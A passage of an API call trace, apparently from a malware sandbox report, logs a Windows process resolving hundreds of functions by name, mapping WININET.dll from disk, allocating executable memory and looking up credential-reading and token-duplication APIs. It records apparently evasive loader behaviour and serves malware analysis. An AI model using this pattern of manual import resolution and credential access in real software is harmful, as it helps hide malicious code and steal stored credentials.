GetProcAddress (hModule=0x77e30000, lpProcName="WinSqmIsOptedIn") returned 0x77e89b58 [0098.656] GetProcAddress (hModule=0x77e30000, lpProcName="WinSqmSetDWORD") returned 0x77e984ce [0098.656] GetProcAddress (hModule=0x77e30000, lpProcName="EtwLogTraceEvent") returned 0x77f0b4c7 [0098.656] GetProcAddress (hModule=0x77e30000, lpProcName="EtwEventEnabled") returned 0x77e688e2 [0098.656] GetProcAddress (hModule=0x77e30000, lpProcName="EtwEventWrite") returned 0x77e90c59 [0098.656] GetProcAddress (hModule=0x77e30000, lpProcName="EvtIntReportEventAndSourceAsync") returned 0x77f0eb43 [0098.656] GetProcAddress (hModule=0x77e30000, lpProcName="EtwEventRegister") returned 0x77e6f6ba [0098.656] GetProcAddress (hModule=0x77e30000, lpProcName="EtwEventUnregister") returned 0x77e89241 [0098.656] GetProcAddress (hModule=0x77e30000, lpProcName="EtwUnregisterTraceGuids") returned 0x77e89286 [0098.657] GetProcAddress (hModule=0x77e30000, lpProcName="EtwRegisterTraceGuidsW") returned 0x77e6f843 [0098.657] GetProcAddress (hModule=0x77e30000, lpProcName="EtwGetTraceLoggerHandle") returned 0x77e9168a [0098.657] GetProcAddress (hModule=0x77e30000, lpProcName="EtwGetTraceEnableLevel") returned 0x77e916f3 [0098.657] GetProcAddress (hModule=0x77e30000, lpProcName="EtwGetTraceEnableFlags") returned 0x77e91729 [0098.657] GetProcAddress (hModule=0x77e30000, lpProcName="RtlInitializeCriticalSection") returned 0x77e62c42 [0098.657] GetProcAddress (hModule=0x77e30000, lpProcName="EtwTraceMessage") returned 0x77e979b7 [0098.657] GetProcAddress (hModule=0x77e30000, lpProcName="RtlIpv6StringToAddressA") returned 0x77e7c855 [0098.657] GetProcAddress (hModule=0x77e30000, lpProcName="RtlIpv4StringToAddressA") returned 0x77e7c411 [0098.657] GetProcAddress (hModule=0x77e30000, lpProcName="RtlIpv6AddressToStringA") returned 0x77ef38ed [0098.657] GetProcAddress (hModule=0x77e30000, lpProcName="RtlIpv6StringToAddressExA") returned 0x77ef3d45 [0098.657] GetProcAddress (hModule=0x77e30000, lpProcName="RtlIpv6StringToAddressExW") returned 0x77e7b9ae [0098.657] GetProcAddress (hModule=0x77e30000, lpProcName="RtlDeleteCriticalSection") returned 0x77e645f5 [0098.658] GetProcAddress (hModule=0x77e30000, lpProcName="RtlDestroyHeap") returned 0x77e79d8e [0098.658] GetProcAddress (hModule=0x77e30000, lpProcName="RtlAllocateHeap") returned 0x77e5e026 [0098.658] GetProcAddress (hModule=0x77e30000, lpProcName="RtlReAllocateHeap") returned 0x77e71f6e [0098.658] GetProcAddress (hModule=0x77e30000, lpProcName="RtlFreeHeap") returned 0x77e5df85 [0098.658] GetProcAddress (hModule=0x77e30000, lpProcName="RtlCreateHeap") returned 0x77e70249 [0098.658] GetModuleHandleA (lpModuleName="NSI.dll") returned 0x77260000 [0098.658] GetProcAddress (hModule=0x77260000, lpProcName="NsiAllocateAndGetTable") returned 0x77261949 [0098.658] GetProcAddress (hModule=0x77260000, lpProcName="NsiGetParameter") returned 0x772616c8 [0098.658] GetProcAddress (hModule=0x77260000, lpProcName="NsiFreeTable") returned 0x772618f4 [0098.658] GetModuleHandleA (lpModuleName="API-MS-Win-Core-DelayLoad-L1-1-0.dll") returned 0x76300000 [0098.658] GetProcAddress (hModule=0x76300000, lpProcName="DelayLoadFailureHook") returned 0x763aec9d [0098.659] GetModuleHandleA (lpModuleName="KERNELBASE.dll") returned 0x77480000 [0098.659] GetProcAddress (hModule=0x77480000, lpProcName="CompareStringA") returned 0x774a061d [0098.659] GetModuleHandleA (lpModuleName="API-MS-Win-Core-Debug-L1-1-0.dll") returned 0x77480000 [0098.659] GetProcAddress (hModule=0x77480000, lpProcName="OutputDebugStringA") returned 0x77492510 [0098.659] GetModuleHandleA (lpModuleName="API-MS-Win-Core-Localization-L1-1-0.dll") returned 0x77480000 [0098.659] GetProcAddress (hModule=0x77480000, lpProcName="LCMapStringW") returned 0x774a1e6a [0098.659] UnmapViewOfFile (lpBaseAddress=0x800000) returned 1 [0098.660] CloseHandle (hObject=0x144) returned 1 [0098.660] CloseHandle (hObject=0x140) returned 1 [0098.664] NtFreeVirtualMemory (ProcessHandle=0xffffffff, BaseAddress=0x101fa28*=0x8b0000, RegionSize=0x101fa44, FreeType=0x8000) returned 0x0 [0098.665] GetModuleHandleA (lpModuleName="wininet") returned 0x75ec0000 [0098.665] GetModuleFileNameA (in: hModule=0x75ec0000, lpFilename=0x101f61c, nSize=0x3ff | out: lpFilename="C:\\Windows\\syswow64\\WININET.dll") returned 0x1f [0098.665] CreateFileA (lpFileName="C:\\Windows\\syswow64\\WININET.dll" (normalized: "c:\\windows\\syswow64\\wininet.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x140 [0098.665] CreateFileMappingA (hFile=0x140, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x144 [0098.665] MapViewOfFile (hFileMappingObject=0x144, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x1020000 [0098.669] NtAllocateVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x101f600, ZeroBits=0x0, RegionSize=0x101f5e4, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0x101f600*=0x1220000, RegionSize=0x101f5e4*=0xf5000) returned 0x0 [0098.669] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88004168000 [0098.669] IdePortDispatch () returned 0x103 [0098.673] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b8d000 [0098.673] IdePortDispatch () returned 0x103 [0098.674] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b95000 [0098.674] IdePortDispatch () returned 0x103 [0098.675] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b9d000 [0098.675] IdePortDispatch () returned 0x103 [0098.675] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bb5000 [0098.675] IdePortDispatch () returned 0x103 [0098.676] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bbd000 [0098.676] IdePortDispatch () returned 0x103 [0098.676] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bc5000 [0098.677] IdePortDispatch () returned 0x103 [0098.677] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bcd000 [0098.677] IdePortDispatch () returned 0x103 [0098.678] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bd5000 [0098.678] IdePortDispatch () returned 0x103 [0098.678] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bdd000 [0098.679] IdePortDispatch () returned 0x103 [0098.679] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000be5000 [0098.679] IdePortDispatch () returned 0x103 [0098.680] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bed000 [0098.680] IdePortDispatch () returned 0x103 [0098.680] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bf5000 [0098.680] IdePortDispatch () returned 0x103 [0098.681] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c00000 [0098.681] IdePortDispatch () returned 0x103 [0098.682] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c08000 [0098.682] IdePortDispatch () returned 0x103 [0098.683] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c10000 [0098.683] IdePortDispatch () returned 0x103 [0098.683] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c18000 [0098.683] IdePortDispatch () returned 0x103 [0098.684] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c20000 [0098.684] IdePortDispatch () returned 0x103 [0098.685] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c28000 [0098.685] IdePortDispatch () returned 0x103 [0098.685] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c30000 [0098.685] IdePortDispatch () returned 0x103 [0098.689] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d5a000 [0098.689] IdePortDispatch () returned 0x103 [0098.702] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d65000 [0098.702] IdePortDispatch () returned 0x103 [0098.703] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d6d000 [0098.703] IdePortDispatch () returned 0x103 [0098.704] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d75000 [0098.704] IdePortDispatch () returned 0x103 [0098.704] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d7d000 [0098.704] IdePortDispatch () returned 0x103 [0098.705] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d85000 [0098.705] IdePortDispatch () returned 0x103 [0098.710] GetModuleHandleA (lpModuleName="msvcrt.dll") returned 0x75fc0000 [0098.710] GetProcAddress (hModule=0x75fc0000, lpProcName="_wcsicmp") returned 0x75fca9e9 [0098.710] GetProcAddress (hModule=0x75fc0000, lpProcName="isupper") returned 0x75fdc1ca [0098.710] GetProcAddress (hModule=0x75fc0000, lpProcName="wcsstr") returned 0x75fcbf71 [0098.710] GetProcAddress (hModule=0x75fc0000, lpProcName="_purecall") returned 0x76026ea9 [0098.710] GetProcAddress (hModule=0x75fc0000, lpProcName="_mbstok") returned 0x76025615 [0098.711] GetProcAddress (hModule=0x75fc0000, lpProcName="iscntrl") returned 0x75fdd592 [0098.711] GetProcAddress (hModule=0x75fc0000, lpProcName="ispunct") returned 0x75fe860e [0098.711] GetProcAddress (hModule=0x75fc0000, lpProcName="strcpy_s") returned 0x75fcf574 [0098.711] GetProcAddress (hModule=0x75fc0000, lpProcName="_strtoui64") returned 0x75fe225d [0098.711] GetProcAddress (hModule=0x75fc0000, lpProcName="time") returned 0x75fcf708 [0098.711] GetProcAddress (hModule=0x75fc0000, lpProcName="iswdigit") returned 0x75fcc02c [0098.711] GetProcAddress (hModule=0x75fc0000, lpProcName="isalpha") returned 0x75fd0fa8 [0098.711] GetProcAddress (hModule=0x75fc0000, lpProcName="atol") returned 0x75fcddf4 [0098.711] GetProcAddress (hModule=0x75fc0000, lpProcName="_wtoi") returned 0x75fcc823 [0098.711] GetProcAddress (hModule=0x75fc0000, lpProcName="isspace") returned 0x75fcc395 [0098.711] GetProcAddress (hModule=0x75fc0000, lpProcName="strpbrk") returned 0x75fcf7b6 [0098.712] GetProcAddress (hModule=0x75fc0000, lpProcName="isdigit") returned 0x75fcb407 [0098.712] GetProcAddress (hModule=0x75fc0000, lpProcName="isxdigit") returned 0x75fd1070 [0098.712] GetProcAddress (hModule=0x75fc0000, lpProcName="memchr") returned 0x75fde134 [0098.712] GetProcAddress (hModule=0x75fc0000, lpProcName="_vsnprintf") returned 0x75fcd1a8 [0098.712] GetProcAddress (hModule=0x75fc0000, lpProcName="_wcsnicmp") returned 0x75fcaae3 [0098.712] GetProcAddress (hModule=0x75fc0000, lpProcName="wcstok") returned 0x75fd076e [0098.712] GetProcAddress (hModule=0x75fc0000, lpProcName="iswlower") returned 0x75fef796 [0098.712] GetProcAddress (hModule=0x75fc0000, lpProcName="qsort") returned 0x75fcd3e6 [0098.712] GetProcAddress (hModule=0x75fc0000, lpProcName="_vsnprintf_s") returned 0x7602a6e1 [0098.712] GetProcAddress (hModule=0x75fc0000, lpProcName="_XcptFilter") returned 0x75fedc75 [0098.712] GetProcAddress (hModule=0x75fc0000, lpProcName="_initterm") returned 0x75fcc151 [0098.713] GetProcAddress (hModule=0x75fc0000, lpProcName="_amsg_exit") returned 0x7602b2ef [0098.713] GetProcAddress (hModule=0x75fc0000, lpProcName="_except_handler4_common") returned 0x75fe3e27 [0098.713] GetProcAddress (hModule=0x75fc0000, lpProcName="_unlock") returned 0x75fca42d [0098.713] GetProcAddress (hModule=0x75fc0000, lpProcName="__dllonexit") returned 0x75fcf509 [0098.713] GetProcAddress (hModule=0x75fc0000, lpProcName="_lock") returned 0x75fca449 [0098.713] GetProcAddress (hModule=0x75fc0000, lpProcName="_onexit") returned 0x75fd112d [0098.713] GetProcAddress (hModule=0x75fc0000, lpProcName="memcpy") returned 0x75fc9910 [0098.713] GetProcAddress (hModule=0x75fc0000, lpProcName="memset") returned 0x75fc9790 [0098.713] GetProcAddress (hModule=0x75fc0000, lpProcName="_vsnwprintf") returned 0x75fcbbce [0098.713] GetProcAddress (hModule=0x75fc0000, lpProcName="malloc") returned 0x75fc9cee [0098.713] GetProcAddress (hModule=0x75fc0000, lpProcName="free") returned 0x75fc9894 [0098.713] GetProcAddress (hModule=0x75fc0000, lpProcName="realloc") returned 0x75fcb10d [0098.714] GetProcAddress (hModule=0x75fc0000, lpProcName="atoi") returned 0x75fcdbe0 [0098.714] GetProcAddress (hModule=0x75fc0000, lpProcName="strrchr") returned 0x75fcdbae [0098.714] GetProcAddress (hModule=0x75fc0000, lpProcName="strtok_s") returned 0x76040db3 [0098.714] GetProcAddress (hModule=0x75fc0000, lpProcName="wcsrchr") returned 0x75fca73f [0098.714] GetProcAddress (hModule=0x75fc0000, lpProcName="iswspace") returned 0x75fcaacb [0098.714] GetProcAddress (hModule=0x75fc0000, lpProcName="wcstok_s") returned 0x75ff00b3 [0098.714] GetProcAddress (hModule=0x75fc0000, lpProcName="memmove") returned 0x75fc9e5a [0098.714] GetProcAddress (hModule=0x75fc0000, lpProcName="strtol") returned 0x75fee8f0 [0098.714] GetProcAddress (hModule=0x75fc0000, lpProcName="__isascii") returned 0x75fdd57b [0098.714] GetProcAddress (hModule=0x75fc0000, lpProcName="islower") returned 0x75fef0f7 [0098.714] GetProcAddress (hModule=0x75fc0000, lpProcName="sprintf_s") returned 0x75fe51da [0098.715] GetProcAddress (hModule=0x75fc0000, lpProcName="swprintf_s") returned 0x75fcecf8 [0098.715] GetProcAddress (hModule=0x75fc0000, lpProcName="wcstol") returned 0x75fcff45 [0098.715] GetProcAddress (hModule=0x75fc0000, lpProcName="iswxdigit") returned 0x75fd1029 [0098.715] GetProcAddress (hModule=0x75fc0000, lpProcName="iswascii") returned 0x75fd1010 [0098.715] GetProcAddress (hModule=0x75fc0000, lpProcName="_strnicmp") returned 0x75fd0578 [0098.715] GetProcAddress (hModule=0x75fc0000, lpProcName="wcscat_s") returned 0x75fcfd66 [0098.715] GetProcAddress (hModule=0x75fc0000, lpProcName="??_U@YAPAXI@Z") returned 0x75fcb100 [0098.715] GetProcAddress (hModule=0x75fc0000, lpProcName="??_V@YAXPAX@Z") returned 0x75fcb0f3 [0098.715] GetProcAddress (hModule=0x75fc0000, lpProcName="qsort_s") returned 0x76029380 [0098.715] GetProcAddress (hModule=0x75fc0000, lpProcName="bsearch") returned 0x75fcb34a [0098.715] GetProcAddress (hModule=0x75fc0000, lpProcName="wcsncmp") returned 0x75fcb05e [0098.716] GetProcAddress (hModule=0x75fc0000, lpProcName="isalnum") returned 0x75fd0fdc [0098.716] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77e30000 [0098.716] GetProcAddress (hModule=0x77e30000, lpProcName="RtlConvertSidToUnicodeString") returned 0x77e6aec2 [0098.716] GetProcAddress (hModule=0x77e30000, lpProcName="RtlMoveMemory") returned 0x77e93c40 [0098.716] GetModuleHandleA (lpModuleName="SHLWAPI.dll") returned 0x76210000 [0098.716] GetProcAddress (hModule=0x76210000, lpProcName="SHRegGetValueW") returned 0x7622b8ba [0098.716] GetProcAddress (hModule=0x76210000, lpProcName=0x9e) returned 0x7622bb2d [0098.716] GetProcAddress (hModule=0x76210000, lpProcName="SHRegGetValueA") returned 0x7621ce33 [0098.716] GetProcAddress (hModule=0x76210000, lpProcName="PathAddBackslashW") returned 0x7622c177 [0098.716] GetProcAddress (hModule=0x76210000, lpProcName="PathFindFileNameW") returned 0x7622bb71 [0098.716] GetProcAddress (hModule=0x76210000, lpProcName="StrRChrW") returned 0x76223ef0 [0098.717] GetProcAddress (hModule=0x76210000, lpProcName="PathRemoveBackslashA") returned 0x76248d1a [0098.717] GetProcAddress (hModule=0x76210000, lpProcName="PathRemoveFileSpecA") returned 0x7623e20b [0098.717] GetProcAddress (hModule=0x76210000, lpProcName=0x9b) returned 0x7621d2ac [0098.717] GetProcAddress (hModule=0x76210000, lpProcName="PathRemoveBlanksA") returned 0x7621d8bc [0098.717] GetProcAddress (hModule=0x76210000, lpProcName="PathAddBackslashA") returned 0x7621cf33 [0098.717] GetProcAddress (hModule=0x76210000, lpProcName="PathAppendA") returned 0x7621d65e [0098.717] GetProcAddress (hModule=0x76210000, lpProcName=0xd7) returned 0x7622ad74 [0098.717] GetProcAddress (hModule=0x76210000, lpProcName="PathUnExpandEnvStringsA") returned 0x7623ab7b [0098.717] GetProcAddress (hModule=0x76210000, lpProcName=0x9d) returned 0x7622947e [0098.717] GetProcAddress (hModule=0x76210000, lpProcName="PathRenameExtensionA") returned 0x76249cdd [0098.717] GetProcAddress (hModule=0x76210000, lpProcName="SHDeleteKeyA") returned 0x7623d9f6 [0098.718] GetProcAddress (hModule=0x76210000, lpProcName="SHDeleteValueW") returned 0x7621fcca [0098.718] GetProcAddress (hModule=0x76210000, lpProcName="StrCmpNIW") returned 0x76224745 [0098.718] GetProcAddress (hModule=0x76210000, lpProcName="StrCmpNIA") returned 0x7621d11c [0098.718] GetProcAddress (hModule=0x76210000, lpProcName="StrStrIA") returned 0x7621d250 [0098.718] GetProcAddress (hModule=0x76210000, lpProcName="StrStrA") returned 0x7623c45b [0098.718] GetProcAddress (hModule=0x76210000, lpProcName=0x97) returned 0x7623cb3d [0098.718] GetProcAddress (hModule=0x76210000, lpProcName="StrChrW") returned 0x76224640 [0098.718] GetProcAddress (hModule=0x76210000, lpProcName="StrChrA") returned 0x7621c5e6 [0098.718] GetProcAddress (hModule=0x76210000, lpProcName=0x9a) returned 0x76225605 [0098.718] GetProcAddress (hModule=0x76210000, lpProcName=0xd9) returned 0x76227173 [0098.718] GetProcAddress (hModule=0x76210000, lpProcName="UrlCombineW") returned 0x762275fb [0098.718] GetProcAddress (hModule=0x76210000, lpProcName="UrlCanonicalizeW") returned 0x76227472 [0098.719] GetProcAddress (hModule=0x76210000, lpProcName=0x99) returned 0x7621cdae [0098.719] GetProcAddress (hModule=0x76210000, lpProcName="PathCreateFromUrlW") returned 0x76226ce1 [0098.719] GetProcAddress (hModule=0x76210000, lpProcName="UrlUnescapeA") returned 0x7623c6fb [0098.719] GetProcAddress (hModule=0x76210000, lpProcName="UrlCombineA") returned 0x762561c7 [0098.719] GetProcAddress (hModule=0x76210000, lpProcName="UrlCanonicalizeA") returned 0x76256577 [0098.719] GetProcAddress (hModule=0x76210000, lpProcName="StrToIntW") returned 0x762250be [0098.719] GetProcAddress (hModule=0x76210000, lpProcName="StrCmpW") returned 0x76228277 [0098.719] GetProcAddress (hModule=0x76210000, lpProcName="StrCmpNA") returned 0x7623c57c [0098.719] GetProcAddress (hModule=0x76210000, lpProcName="StrRChrA") returned 0x7621ccf5 [0098.719] GetProcAddress (hModule=0x76210000, lpProcName="StrToIntA") returned 0x7623cd65 [0098.719] GetProcAddress (hModule=0x76210000, lpProcName="StrStrIW") returned 0x762246e9 [0098.720] GetProcAddress (hModule=0x76210000, lpProcName="SHGetValueA") returned 0x7621cf09 [0098.720] GetProcAddress (hModule=0x76210000, lpProcName="SHSetValueA") returned 0x7624b0ef [0098.720] GetProcAddress (hModule=0x76210000, lpProcName="SHGetValueW") returned 0x7622a955 [0098.720] GetProcAddress (hModule=0x76210000, lpProcName="SHSetValueW") returned 0x7622170c [0098.720] GetProcAddress (hModule=0x76210000, lpProcName=0x1b5) returned 0x7622bee6 [0098.720] GetProcAddress (hModule=0x76210000, lpProcName="StrChrNW") returned 0x7623d5fd [0098.720] GetProcAddress (hModule=0x76210000, lpProcName="StrTrimW") returned 0x762231bc [0098.720] GetProcAddress (hModule=0x76210000, lpProcName=0xc) returned 0x7622158a [0098.720] GetProcAddress (hModule=0x76210000, lpProcName="PathCombineW") returned 0x7622c39c [0098.720] GetModuleHandleA (lpModuleName="ADVAPI32.dll") returned 0x772d0000 [0098.720] GetProcAddress (hModule=0x772d0000, lpProcName="RegEnumKeyExW") returned 0x772e46c8 [0098.721] GetProcAddress (hModule=0x772d0000, lpProcName="RegQueryInfoKeyW") returned 0x772e46e7 [0098.721] GetProcAddress (hModule=0x772d0000, lpProcName="RegCreateKeyExW") returned 0x772e40fe [0098.721] GetProcAddress (hModule=0x772d0000, lpProcName="CredReadDomainCredentialsW") returned 0x77317841 [0098.721] GetProcAddress (hModule=0x772d0000, lpProcName="RegDeleteValueW") returned 0x772dcf31 [0098.721] GetProcAddress (hModule=0x772d0000, lpProcName="RegSetValueExW") returned 0x772e14d6 [0098.721] GetProcAddress (hModule=0x772d0000, lpProcName="RegQueryValueExW") returned 0x772e46ad [0098.721] GetProcAddress (hModule=0x772d0000, lpProcName="EventUnregister") returned 0x77e89241 [0098.721] GetProcAddress (hModule=0x772d0000, lpProcName="EventRegister") returned 0x77e6f6ba [0098.721] GetProcAddress (hModule=0x772d0000, lpProcName="CredReadW") returned 0x773172a1 [0098.721] GetProcAddress (hModule=0x772d0000, lpProcName="CredFree") returned 0x772db2ec [0098.721] GetProcAddress (hModule=0x772d0000, lpProcName="CredWriteW") returned 0x77317109 [0098.722] GetProcAddress (hModule=0x772d0000, lpProcName="CredDeleteW") returned 0x773179f1 [0098.722] GetProcAddress (hModule=0x772d0000, lpProcName="CryptAcquireContextA") returned 0x772d91dd [0098.722] GetProcAddress (hModule=0x772d0000, lpProcName="CryptGenRandom") returned 0x772ddfc8 [0098.722] GetProcAddress (hModule=0x772d0000, lpProcName="CryptReleaseContext") returned 0x772de124 [0098.722] GetProcAddress (hModule=0x772d0000, lpProcName="SystemFunction041") returned 0x772da06a [0098.722] GetProcAddress (hModule=0x772d0000, lpProcName="SystemFunction040") returned 0x772da0af [0098.722] GetProcAddress (hModule=0x772d0000, lpProcName="RegOpenKeyA") returned 0x772dcc15 [0098.722] GetProcAddress (hModule=0x772d0000, lpProcName="RegEnumKeyA") returned 0x772fa299 [0098.722] GetProcAddress (hModule=0x772d0000, lpProcName="TraceEvent") returned 0x77f0b4c7 [0098.722] GetProcAddress (hModule=0x772d0000, lpProcName="DuplicateTokenEx") returned 0x772dca24 [0098.722] GetProcAddress (hModule=0x772d0000, lpProcName="CreateWellKnownSid") returned 0x772e481e [0098.722] GetProcAddress (hModule=0x772d0000, lpProcName="SetTokenInformation") returned 0x772d9a92 [0098.723] GetProcAddress (hModule=0x772d0000, lpProcName="CreateProcessAsUserA") returned 0x77312538 [0098.723] GetProcAddress (hModule=0x772d0000, lpProcName="ConvertStringSecurityDescriptorToSecurityDescriptorA") returned 0x772dca94 [0098.723] GetProcAddress (hModule=0x772d0000, lpProcName="GetSidSubAuthorityCount") returned 0x772e0e0c [0098.723] GetProcAddress (hModule=0x772d0000, lpProcName="GetSidSubAuthority") returned 0x772e0e24 [0098.723] GetProcAddress (hModule=0x772d0000, lpProcName="AllocateAndInitializeSid") returned 0x772e40e6 [0098.723] GetProcAddress (hModule=0x772d0000, lpProcName="CheckTokenMembership") returned 0x772ddf04 [0098.723] GetProcAddress (hModule=0x772d0000, lpProcName="FreeSid") returned 0x772e412e [0098.723] GetProcAddress (hModule=0x772d0000, lpProcName="RegDeleteValueA") returned 0x772fa4ea [0098.723] GetProcAddress (hModule=0x772d0000, lpProcName="ConvertSidToStringSidW") returned 0x772e4344 [0098.723] GetProcAddress (hModule=0x772d0000, lpProcName="ConvertStringSecurityDescriptorToSecurityDescriptorW") returned 0x772e1f59 [0098.723] GetProcAddress (hModule=0x772d0000, lpProcName="RegGetValueW") returned 0x772e0e47 [0098.724] GetProcAddress (hModule=0x772d0000, lpProcName="CryptAcquireContextW") returned 0x772ddf14 [0098.724] GetProcAddress (hModule=0x772d0000, lpProcName="CryptGetProvParam") returned 0x77313218 [0098.724] GetProcAddress (hModule=0x772d0000, lpProcName="OpenThreadToken") returned 0x772e432c [0098.724] GetProcAddress (hModule=0x772d0000, lpProcName="OpenProcessToken") returned 0x772e4304 [0098.724] GetProcAddress (hModule=0x772d0000, lpProcName="GetTokenInformation") returned 0x772e431c [0098.724] GetProcAddress (hModule=0x772d0000, lpProcName="EventWrite") returned 0x77e90c59 [0098.724] GetProcAddress (hModule=0x772d0000, lpProcName="RegOpenKeyExW") returned 0x772e468d [0098.724] GetProcAddress (hModule=0x772d0000, lpProcName="UnregisterTraceGuids") returned 0x77e89286 [0098.724] GetProcAddress (hModule=0x772d0000, lpProcName="RegisterTraceGuidsA") returned 0x77e9848f [0098.724] GetProcAddress (hModule=0x772d0000, lpProcName="GetTraceLoggerHandle") returned 0x77e9168a [0098.724] GetProcAddress (hModule=0x772d0000, lpProcName="GetTraceEnableLevel") returned 0x77e916f3 [0098.725] GetProcAddress (hModule=0x772d0000, lpProcName="GetTraceEnableFlags") returned 0x77e91729 [0098.725] GetProcAddress (hModule=0x772d0000, lpProcName="RegDeleteKeyA") returned 0x772fa8b7 [0098.725] GetProcAddress (hModule=0x772d0000, lpProcName="RegCreateKeyExA") returned 0x772e1469 [0098.725] GetProcAddress (hModule=0x772d0000, lpProcName="RegSetValueExA") returned 0x772e14b3 [0098.725] GetProcAddress (hModule=0x772d0000, lpProcName="RegOpenKeyExA") returned 0x772e4907 [0098.725] GetProcAddress (hModule=0x772d0000, lpProcName="RegQueryValueExA") returned 0x772e48ef [0098.725] GetProcAddress 